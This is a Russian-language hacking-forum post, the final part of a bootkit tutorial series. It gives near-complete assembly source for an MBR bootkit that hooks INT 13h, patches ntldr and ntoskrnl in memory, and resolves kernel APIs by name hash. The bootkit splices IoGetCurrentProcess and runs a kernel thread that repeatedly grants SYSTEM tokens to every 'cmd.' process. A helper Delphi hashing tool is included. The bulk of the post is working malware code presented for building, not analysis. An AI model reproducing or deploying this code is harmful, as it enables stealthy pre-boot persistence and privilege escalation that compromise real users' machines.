Tipper
Member
- Joined
- Feb 11, 2018
- Messages
- 625
- Reaction score
- 244
- Age
- 32
Вот и подошла заключительная часть нашего цикла о буткитах. Настало время наделить наш буткит сверхъестественной способностью — повысить привилегии. Если вы не читали предыдущую статью, то вот она: https://hhide.su/threads/Пошаговое-создание-своего-bootkita-ЧАСТЬ-1.16220/#post-98511
- Думаю, не стоит объяснять, что это всего лишь малая демонстрационная часть буткита. На самом деле, святая обязанность буткита подготовить среду для руткита и загрузить его при старте системы. Всё остальное должен делать уже сам руткит. Но в нашем случае, мы не будем писать руткит, а запустим поток в режиме ядра, который каждые 30 секунд будет пробегать кольцевой список структур _EPROCESS и просматривать первые буквы поля ImageFileName. Если первые буквы имени процесса будут ‘cmd.’, то мы повысим ему привилегии до уровня системы.
План действий
На данном этапе очень важно подготовить почву для работы нашего шелкода. Наш шелкод должен работать в ядре ОС, поэтому мы должны будем каким-то образом оказаться в его контексте. Чтобы это сделать, можно просплайсить какую-нибудь функцию модуля ntoskrnl, которая вызывается при старте ОСи.
Вместо вызова этой функции, мы сначала запустим шелкод, а затем восстановим и вызовем её. Я выбрал IoGetCurrentProcess. Тут есть два подводных камня. Во-первых, чтобы установить перехват на функцию ядра, нужно получить базовый адрес загрузки ядра. Во-вторых, чтобы шелкод запустить, нам сначала нужно разместить его в памяти. Причём память должна быть доступна в контексте ядра. Поэтому мы не можем сделать переход на зарезервированную память этапом ранее. Да даже если и могли бы, то не вышло бы, так как память-то физическая, а нам нужна виртуальная. Чтобы отобразить физическую память можно заюзать функцию MmMapIoSpace. Но сейчас мы этого сделать не можем, так как ядро системы-то ещё не развёрнуто!
- Что же делать?
По поводу второго пункта: чтобы оказаться в контексте ядра, проще всего записать свой код в виртуальную память, загрузки образа ядра. Тут возникает вопрос, куда бы можно было бы внедрить свой код? Ну так давайте откроем ntoskrnl.exe в HIEW и поищем! В этом файле очень много всяких строк.
Вы думаете о том же что и я? Лично нас эти строки не особо волнуют. А вот мысль, что вместо них будет располагаться наш шелкод очень даже волнует наши сердца. Поиск этого места будет осуществляться по подстроке «_PEN». Нужно проверить, чтобы эти строки располагались в секции с правами на чтение запись и исполнение. Также неплохо бы убедиться в том, что «_PEN» находится только в строках. Всё это так, так что двигаемся дальше. У нас есть способ получения адреса загрузки ядра, мы знаем где разместим наш шелкод. Осталось только две детали — получение адресов нужных нам функций и передача некоторых данных. Например, адрес загрузки ядра нам будет нужен в шелкоде. Адреса функций тоже. Нужно найти местечко в памяти, которое будет находится в контексте ядра ОС и туда записать. Опять на помощь нам приходит модуль ntoskrnl.exe. Мы будем сохранять всю эту информацию в DOS заголовке, вместо строки «This program cannot be run in DOS mode». Ввиду того, что после DOS Stub идёт выравнивание нулями, то у нас есть около сотни байт в своём распоряжении. Самое классное, что мы можем спокойно туда писать и читать.
Получение адреса функции по хешу от её имени
Данная техника всегда используется в работе шелкодов. Также её иногда использую для того, чтобы скрыть из строк названия функций. Сами посудите, когда открываешь для анализа неизвестный бинарь и видишь там экспорты таких функций, как InternetOpenUrl, InternetReadFile, WinExec, то сразу становится понятно, что, скорее всего, мы имеем дело с даунлоадером. Если использовать получение адресов нужных функций по хешу от имени, то строк не будет. Ещё одно преимущество — экономия места. Размер хеша у нас 4 байта. Самый распространённый алгоритм хеширования — результат ror 0x0D + код символа. Хотя некоторые типы используют для такой цели CRC32. Прежде чем приступить к кодингу буткита, нам нужно закодить тулзу, которая будет нам ещё не раз пригождаться. Тулза будет нам получать список всех имён экспортируемых функций заданного бинарника и их хешей. Вот основной код данной программки:
Code:
function getHashFromName(funcName: String): DWORD;
Var hesh: DWORD;
i: Integer;
begin
hesh := 0;
for i := 1 to Length(funcName) do
begin
asm
mov eax, hesh
ror eax, $d
mov hesh, eax
end;
hesh := hesh + byte(funcName[i]);
end;
Result := hesh;
end;
procedure TFuncHasher.Button1Click(Sender: TObject);
Var name, hesh, str: string;
begin
LIB_NAME:=edtDll.Text;
loadlibraryA(PAnsiChar(LIB_NAME));
ImageBase := GetModuleHandleA(PAnsiChar(LIB_NAME));
pNtHeaders := Pointer(ImageBase + DWORD(PImageDosHeader(ImageBase)^._lfanew));
ExportAddr := pNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
IED := PImageExportDirectory(ImageBase+ExportAddr.VirtualAddress);
NamesCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNames));
OrdinalCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNameOrdinals));
memo1.Lines.Clear;
For I:=0 to Integer(IED^.NumberOfNames-1) do
begin
name := pChar(ImageBase + PDWORD(NamesCursor)^);
hesh := IntToHex(getHashFromName(name), 8);
str := (name + ' : 0x' + hesh);
memo1.Lines.Add(str);
Inc(NamesCursor);
Inc(OrdinalCursor);
Application.ProcessMessages;
end;
end;
Вот что мне нагенерила утилита:
Теперь, можно приступить к кодингу, а именно к кодингу процедуры, которая по хешу даст нам адрес функции. Для этого нам нужно распарсить PE заголовок, из него вытащить адрес таблицы имён функций, ординалов и адресов функций. Мы будем хешировать каждую функцию и проверять полученных хеш с искомым. Если хеши совпали, то мы нашли функцию. Дальше берём порядковый номер этой функции и читаем ординал по такому же индексу. Полученное число — индекс в таблице адресов. Читаем адрес по такому индексу и дело в шляпе.
Вобщем всё как обычно. На ассемблере это будет выглядеть так:
Code:
;IN edi - hash the required function
;IN esi - base address of PE module
;OUT eax - address the required function or NULL
GetFunctionByHash:
nop
push ebp
mov ebp, esi
mov eax, [ebp + 0x3c]; //PEheader
mov edx, [ebp + eax + 0x78]; //export table
add edx, ebp;
mov ecx, [edx + 0x18]; //numberOfNames
mov ebx, [edx + 0x20]; //numberOfExports
add ebx, ebp;
search_loop:
jecxz noHash;
dec ecx; //decrement numberOfNames
mov esi, [ebx + ecx * 4]; //get an export name
add esi, ebp;
push ecx;
push ebx;
push edi;
push esi; //setup stack frame and save clobber registers
call hashString;
pop esi;
pop edi;
pop ebx;
pop ecx; //restore clobber registers
cmp eax, edi; //check if hash matched
jnz search_loop;
mov ebx, [edx + 0x24]; //get address of the ordinals
add ebx, ebp;
mov cx, [ebx + 2 * ecx]; //current ordinal number
mov ebx, [edx + 0x1c]; //extract the address table offset
add ebx, ebp;
mov eax, [ebx + 4 * ecx]; //address of function
add eax, ebp;
jmp done;
noHash:
mov eax, 0;
done:
pop ebp
ret
hashString:
xor edi, edi;
xor eax, eax;
cld;
continueHashing:
lodsb;
test al, al
jz hash_done;
ror edi, 0xd;
add edi, eax;
jmp continueHashing;
hash_done:
mov eax, edi;
ret
- лось определиться какие функции понадобятся нашему шелкоду, получить их адреса и сохранить в DOS заголовке образа ядра.
Code:
shellcode:
start_shell_code EQU $
push ebx
push ecx
push edx
push ebp
push edi
push esi
pushfd
call shell_entry
kernelBase dd 0
shell_entry:
pop eax
mov ebp, dword [eax] ;ebp - адрес ядра
mov esi, ebp
add esi, IoGetCurrentProcess_date
mov edi, ebp
add edi, IoGetCurrentProcess
mov edi, [edi]
mov al, byte [esi] ;восстанивливаю оригинальную функцию
mov byte [edi], al
mov eax, dword [esi+1]
mov dword [edi+1], eax
mov eax, [ebp + IoGetCurrentProcess]
call eax
push eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov dword [ebp + Delaytime + 0], 0xFD050F80
mov dword [ebp + Delaytime + 4], 0xffffffff
mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr
push ebx
pop eax ;eax - shellcode addr
mov esi, [ebp + PsCreateSystemThread]
push ebp
push dword 0 ;StartContext _IN_OPT
add eax, THREAD - shellcode
;db 0xcc
push eax ;StartRoutine
push dword 0 ;ClientId _OUT_OPT
push dword 0 ;ProcessHandle _IN_OPT
push dword 0 ;ObjectAttributes
push dword 0 ;THREAD_ALL_ACCESS
mov eax, ebp
add eax, THREAD_HANDLE
push eax ;ThreadHandle
call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,)
pop ebp
jmp exit_hook
THREAD:
pushad
;db 0xcc
call $+5
@@addr:
pop eax
add eax, krnlBase - @@addr
mov ebp, [eax]
xor eax, eax
@@sleep:
push eax
mov ebx, ebp
add ebx, Delaytime
push ebx ;pointer to delay time
push dword 0 ;Not Alertable
push dword 0 ;WaitMode - KernelMode
mov esi, [ebp + KeDelayExecutionThread]
call esi
pop eax
inc eax
cmp eax, 6 ;30 секунд
jnz @@sleep
mov eax, [fs:KTHREAD_OFFSET]
mov eax, [eax + ThreadsProcess]
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID;
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov esi, eax
;db 0xcc
SearchCMD:
mov ecx, eax
mov edi, [eax + ImageFileName]
mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS
sub eax, FLINK_OFFSET
cmp eax, esi
jz Stop
cmp edi, 0x2e646d63 ;'.dmc'
jz SetToken
jmp SearchCMD
SetToken:
;db 0xcc
mov[ecx + TOKEN_OFFSET], edx
jmp SearchCMD
Stop:
popad
jmp THREAD
krnlBase dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
exit_hook:
pop eax
popfd
pop esi
pop edi
pop ebp
pop edx
pop ecx
pop ebx
ret
end_shell_code EQU $
Для работы шелкода, единственное, что требуется знать, так это адрес загрузки ядра. Снова его получать как-то не то и не сё. Поэтому, применяется техника самомодифицирующегося кода — полученный адрес вставляется в кусок кода. Это сработает только до перехода в защищённый режим. Так как в защищённом режиме писать в секцию кода нельзя. Поэтому мы своевременно сохраним адрес загрузки ядра в переменную krnlBase. Она нам пригодятся, когда шелкод получит управление. А получит он управление, как вызовется в первый раз системой функция IoGetCurrentProcess. В шелкоде следует первым делом восстановить первые 5 байт перехваченной функции и вызвать её. Далее мы запускаем в потоке бесконечный цикл.
Кстати, первые 5 байт функции также хранятся в DOS заголовке. Нашим постоянным спутником является небольшая проблема, которая иногда даже раздражает. Нам постоянно приходится пересчитывать адреса до нужных мест. Это связано с тем, что и код-то мы перемещаем то туда, то сюда. Но это решается техникой получения своего адреса — call $+5, pop eax. В eax будет находится адрес инструкции pop eax. Дальше уже просто прибавляем смещение до нужного места.
Вот, в принципе и всё! А вот и полный код:
Code:
START:
mov ax, 3
int 10h
mov ax, 0b800h
mov es, ax
mov word [es:0],261h
mov word [es:2],261h
mov word [es:4],261h
xor ax, ax
int 16h
cli
xor ax, ax
mov ds, ax
mov sp, 0FFFFh
sub word [413h], 2h
mov ax, [ds:413h]
sti
cld
shl ax, 6
mov es, ax
xor di, di
mov si, 7c00h
mov cx, 200h
rep movsb
mov bx, di
mov ah, 2
mov al, 2 ;2 сектора
mov cx, 2 ;читаю 2 сектор
mov dx, 0 ;диск А
int 13h
push es
push @@read_orig
retf
;;;;;;;;ISR of int13h;;;;;;;;;;;
@@Interapt:
cmp ah, 2h
jz @@execute
cmp ah, 42h
jz @@execute
db 0EAh
dw 0000, 0000
Int_13 EQU $-4
@@execute:
mov [cs:int13hFunc], ah
pushf ;orig int13h съест сохранённый регистр флагов из стека + cs и ip
call far [cs: Int_13]
jc @@int13h_ret
pushf
cli
push es
pusha
mov ah, 00h
int13hFunc EQU $-1
cmp ah, 42h
jnz @@int13h_f2
;;;Disck Address packet
;;;offset range size description
;;;00h 1 byte size of DAP = 16 = 10h
;;;01h 1 byte unused, should be zero
;;;02h..03h 2 bytes number of sectors to be read, (some Phoenix BIOSes are limited to a maximum of 127 sectors)
;;;04h..07h 4 bytes segment:offset pointer to the memory buffer to which sectors will be transferred (note that x86 is little-endian: if declaring the segment and offset separately, the offset must be declared before the segment)
;;;08h..0Fh 8 bytes absolute number of the start of the sectors to be read (1st sector of drive has number 0)
lodsw
lodsw ;ax = number of sectors to be read
les bx, [si]
@@int13h_f2:
test al, al
jle @@ExitInt_13
;al=колличество секторов для чтения
;ax:=ax*2^9=ax*512b
;es:bx - прочитанные данные
movzx cx, al
shl cx, 9
mov di, bx
mov al, 8Bh
cld
@@Search_8B:
repne scasb
jnz @@ExitInt_13 ;не найден байтик
;нашли 8b,ищем 74f685f0h
;8B F0 85 F6 74 21 80 3D
cmp dword [es:di], 74F685F0h
jnz @@Search_8B
cmp byte [es:di+4], 21h
jnz @@Search_8B
cmp word [es:di+5], 3D80h
jnz @@Search_8B
;Если мы тут, значит нашли место в ntldr: seg000:00026C8C
;ntldr
;00026C8C: 8BF0 mov si,ax
;00026C8E: 85F6 test si,si
;00026C90: 7421 jz 000026CB3 -- 1
;00026C92: 803D10 cmp b,[di],010
;xchg bx, bx
mov word [es:di-1], 15ffh
mov eax, cs
shl eax, 4 ;физический адрес своего сегмента
add eax, StartCODE32
mov [cs:dword_E5], eax
mov [cs:MyCode32Addr], eax
sub eax, 4
mov [es:di+1], eax
;mov dword ptr es:[di-1], 0F685f08bh ; восстанавливаю сигнатуру
;mov dword ptr es:[di+3], 03D802174h
@@ExitInt_13:
popa
pop es
popf
@@int13h_ret:
iret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@read_orig:
xor ax, ax
mov es, ax
mov dx, es
mov bx, 7c00h
mov ah, 2
mov al, 2 ;2 сектора
mov cx, 1 ;mbr
mov dx, 80h
int 13h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; HOOKED INTERUPT INT13h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;HOOKED INTERUPT INT13h ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
cli
mov ax, [4Eh] ;segment
mov [cs:Int_13+2],ax
mov ax, [4Ch] ;offset
mov [cs:Int_13],ax
mov word [4eh], cs
mov ax, @@Interapt
mov word [4Ch], ax
sti
@@boot:
push 0
push 7c00h
retf
times 510-($ - $$) db 0
db 55h, 0AAh
dword_E5 dd 0
use32
StartCODE32:
pushfd
pushad
NtoskrnlBase EQU 0x40 ;относительно Dos Header, вместо stub.
ExAcquireFastMutexUnsafe EQU 0x44
IoGetCurrentProcess EQU 0x48
IoGetCurrentProcess_date EQU 0x4C
_PEN_ADDR EQU 0x51 ;IoGetCurrentProcess_date занимает 5 байт
THREAD_HANDLE EQU 0x55
Delaytime EQU 0x59
PsCreateSystemThread EQU 0x61
KeDelayExecutionThread EQU 0x65
mov edi, [esp+24h]
and edi, 0xfff00000
;search kddllBase
cld
mov al, 0xC7 ;_BlLoaderBlock
;C7 46 34 00 40
@@Search_C7:
scasb
jnz @@Search_C7
cmp dword [edi], 40003446h
jnz @@Search_C7
mov al, 0A1h
@@Search_A1:
scasb
jnz @@Search_A1
mov esi, [edi]
mov esi, [esi] ;points to base of loader table
mov esi,[esi] ;points to first entry it's Ntoskrnl.exe
mov edx,[esi] ;points to second entry ,it's hal.dll
add esi, 24 ; to obtain pointer to ntoskrnls, base address,it 24 bytes from it's entry
mov eax, [esi]
mov dword [eax + NtoskrnlBase], eax
mov ebp, eax
mov word [eax + 2], 0x7897
mov edi, 0x94A06B12 ; hash for PsCreateSystemThread
mov esi, ebp
call GetFunctionByHash
mov dword [ebp + PsCreateSystemThread], eax
mov edi, 0x58586D92 ; hash for KeDelayExecutionThread
mov esi, ebp
call GetFunctionByHash
mov dword [ebp + KeDelayExecutionThread], eax
; FUNCTION INTERCEPT
mov edi, 0x9DCF1B5E ; hash for IoGetCurrentProcess
mov esi, ebp
call GetFunctionByHash
mov dword [ebp + IoGetCurrentProcess], eax
mov ecx, 5
mov esi, eax
mov edi, ebp
add edi, IoGetCurrentProcess_date
rep movsb
;Find Free Space
mov esi, ebp
call findpend
mov dword [ebp + _PEN_ADDR], eax
;COPY SHELLCODE TO NTOSkrnl Free Spase
mov ecx, end_shell_code - start_shell_code
;получить адрес шелкода и скопировать его в свободное место
add esi, shellcode
mov edi, eax
;rep movsb
call @@label
@@label:
pop eax
mov ebx, eax
add ebx, krnlBase - @@label
mov dword [ebx], ebp
mov ebx, eax
add ebx, kernelBase - @@label
mov dword [ebx], ebp
mov ecx, end_shell_code - start_shell_code
mov edi, ebp
add edi, _PEN_ADDR
mov edi, [edi]
push edi
mov esi, eax
add esi, shellcode - @@label
rep movsb
mov esi, [ebp + IoGetCurrentProcess]
mov byte [esi], 0xE9 ;просплайсим на свободное место на JMP NEAR xxxx
pop edi ;edi - адрес шелкода
sub edi, esi
sub edi, 5 ;edi - растояние до шела
mov dword [esi+1], edi ;адрес шелкода
mov eax, dword [ebp + IoGetCurrentProcess]
mov dword [eax-4], ebp
popad
popfd
mov esi, eax
test eax, eax
jnz short Path_Done
pushfd
add dword [esp+4], 21h
popfd
Path_Done:
ret
MyCode32Addr dd 0
shellcode:
start_shell_code EQU $
push ebx
push ecx
push edx
push ebp
push edi
push esi
pushfd
call shell_entry
kernelBase dd 0
shell_entry:
pop eax
mov ebp, dword [eax] ;ebp - адрес ядра
mov esi, ebp
add esi, IoGetCurrentProcess_date
mov edi, ebp
add edi, IoGetCurrentProcess
mov edi, [edi]
mov al, byte [esi] ;восстанивливаю оригинальную функцию
mov byte [edi], al
mov eax, dword [esi+1]
mov dword [edi+1], eax
mov eax, [ebp + IoGetCurrentProcess]
call eax
push eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov dword [ebp + Delaytime + 0], 0xFD050F80
mov dword [ebp + Delaytime + 4], 0xffffffff
mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr
push ebx
pop eax ;eax - shellcode addr
mov esi, [ebp + PsCreateSystemThread]
push ebp
push dword 0 ;StartContext _IN_OPT
add eax, THREAD - shellcode
;db 0xcc
push eax ;StartRoutine
push dword 0 ;ClientId _OUT_OPT
push dword 0 ;ProcessHandle _IN_OPT
push dword 0 ;ObjectAttributes
push dword 0 ;THREAD_ALL_ACCESS
mov eax, ebp
add eax, THREAD_HANDLE
push eax ;ThreadHandle
call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,)
pop ebp
jmp exit_hook
THREAD:
pushad
;db 0xcc
call $+5
@@addr:
pop eax
add eax, krnlBase - @@addr
mov ebp, [eax]
xor eax, eax
@@sleep:
push eax
mov ebx, ebp
add ebx, Delaytime
push ebx ;pointer to delay time
push dword 0 ;Not Alertable
push dword 0 ;WaitMode - KernelMode
mov esi, [ebp + KeDelayExecutionThread]
call esi
pop eax
inc eax
cmp eax, 6 ;30 секунд
jnz @@sleep
mov eax, [fs:KTHREAD_OFFSET]
mov eax, [eax + ThreadsProcess]
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID;
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov esi, eax
;db 0xcc
SearchCMD:
mov ecx, eax
mov edi, [eax + ImageFileName]
mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS
sub eax, FLINK_OFFSET
cmp eax, esi
jz Stop
cmp edi, 0x2e646d63 ;'.dmc'
jz SetToken
jmp SearchCMD
SetToken:
;db 0xcc
mov[ecx + TOKEN_OFFSET], edx
jmp SearchCMD
Stop:
popad
jmp THREAD
krnlBase dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
exit_hook:
pop eax
popfd
pop esi
pop edi
pop ebp
pop edx
pop ecx
pop ebx
ret
end_shell_code EQU $
;IN edi - hash the required function
;IN esi - base address of PE module
;OUT eax - address the required function or NULL
GetFunctionByHash:
nop
push ebp
mov ebp, esi
mov eax, [ebp + 0x3c]; //PEheader
mov edx, [ebp + eax + 0x78]; //export table
add edx, ebp;
mov ecx, [edx + 0x18]; //numberOfNames
mov ebx, [edx + 0x20]; //numberOfExports
add ebx, ebp;
search_loop:
jecxz noHash;
dec ecx; //decrement numberOfNames
mov esi, [ebx + ecx * 4]; //get an export name
add esi, ebp;
push ecx;
push ebx;
push edi;
push esi; //setup stack frame and save clobber registers
call hashString;
pop esi;
pop edi;
pop ebx;
pop ecx; //restore clobber registers
cmp eax, edi; //check if hash matched
jnz search_loop;
mov ebx, [edx + 0x24]; //get address of the ordinals
add ebx, ebp;
mov cx, [ebx + 2 * ecx]; //current ordinal number
mov ebx, [edx + 0x1c]; //extract the address table offset
add ebx, ebp;
mov eax, [ebx + 4 * ecx]; //address of function
add eax, ebp;
jmp done;
noHash:
mov eax, 0;
done:
pop ebp
ret
hashString:
xor edi, edi;
xor eax, eax;
cld;
continueHashing:
lodsb;
test al, al
jz hash_done;
ror edi, 0xd;
add edi, eax;
jmp continueHashing;
hash_done:
mov eax, edi;
ret
;Finde Free Space in NTOSkrnl
;IN esi - NTOSkrnl base address
;OUT - eax
findpend:
;below function searches memory for 5f 50 45 4e for _PEN,this location is used to store code in NTOSkrnl;
xor eax, eax
mov edi, esi ;copy kernel base to scan
searchagain:
cmp dword [edi], 0x45505f53 ;
jne contpend
mov eax, edi
ret
contpend:
inc edi
jmp searchagain
overpend:
ret
times 1534-($ - $$) db 0
db 55h, 0AAh
KTHREAD_OFFSET EQU 0x124
ThreadsProcess EQU 0x220 ;// ThreadsProcess : 0x825c8830
PID_OFFSET EQU 0x084 ;// nt!_EPROCESS.UniqueProcessId
FLINK_OFFSET EQU 0x088 ;// nt!_EPROCESS.ActiveProcessLinks.Flink
TOKEN_OFFSET EQU 0x0C8 ;// nt!_EPROCESS.Token
SYSTEM_PID EQU 0x004 ;// SYSTEM Process PID
ImageFileName EQU 0x174 ;// process name
Заключение
Таким образом мы запустили в потоке бесконечный цикл, который каждые 30 секунд повышает привилегии до системных всем процессам, чьи имена начинаются с подстроки ‘cmd.’. Самое интересное то, что мы запустились ещё до загрузки системы и контролировали её ход, периодически его модифицируя. Буткит создан!